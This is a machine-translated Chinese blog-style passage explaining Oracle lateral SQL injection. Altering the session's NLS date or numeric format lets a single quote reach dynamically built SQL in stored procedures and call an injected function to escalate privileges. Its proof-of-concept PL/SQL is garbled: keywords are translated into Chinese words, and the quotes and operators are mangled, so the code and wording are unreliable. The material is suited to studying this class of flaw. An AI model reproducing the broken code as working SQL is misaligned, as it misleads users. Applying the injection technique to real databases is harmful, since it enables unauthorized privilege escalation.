如果直接执行sql语句或参数绑定,则不必过于担心。
例如,以下Oracle存储过程
创建或替换程序kjdatepoc(日期D)

作为

开始

插入kjdatetable值(D);

承诺;

结束;

没有必要担心SQL注入攻击,那么日期和数量的注入将发生在哪里!一般来说,它是一个使用动态SQL且不使用参数绑定的语句。

例如,工程师经常使用dbms_sql或立即执行

查看以下存储过程

创建或替换程序kjdatepoc(日期D)

作为

开始

执行插入kjdatetable值(D | | | | ')';

承诺;

结束;

然后在上面的存储过程或函数的情况下,SQL注入的目的是通过在会话中的nls_date_format修改值达到,

纸,一个外国人,非常详细,我这里没有任何废话。

只有注入的数字类型没有更简单地解释,而且简单地显示了输出单引号的能力!

请看下面的语句

改变会话设置nls_numeric_characters = '。;

选择to_number(1000.10001,999999 d99999)| |双;

输出结果

1000 10001

这只是一句话。它有什么用乐观!在特定的情况下它很有价值!查看下面的存储过程

创建或替换程序numinjpoc(kjexpnum数,kjexpstr VARCHAR2)

是

secstr VARCHAR2(1000);

开始

secstr:=(kjexpstr代替,);

sys.dbms_output.put_line('select *双id是| | kjexpnum | |name =| | secstr | |);

结束;

在内部,VARCHAR类型代替!我们可以测试它

开始

numinjpoc(1000,' ');

结束;

它的输出SQL语句是

从中选择*,其中id = 1000和名称=

单引号丢失了。

如果我们把这个数字类型和注入结合在一起呢

改变会话设置nls_numeric_characters = '。;

开始

numinjpoc(to_number(0.10001,999999 d99999),| | kj.exp()');

结束;

查看输出

SELECT * FROM双id是'10001和名称=| | kj.exp()'

这可能是对它的间接攻击…

在某种程度上,我们需要将会话更改为匹配,然后攻击系统中的某些函数或进程,以提高权限。这是一个很好的突破性想法,但是一个句子的SQL注入攻击是一个向导的结果,这不是一个很好的方法。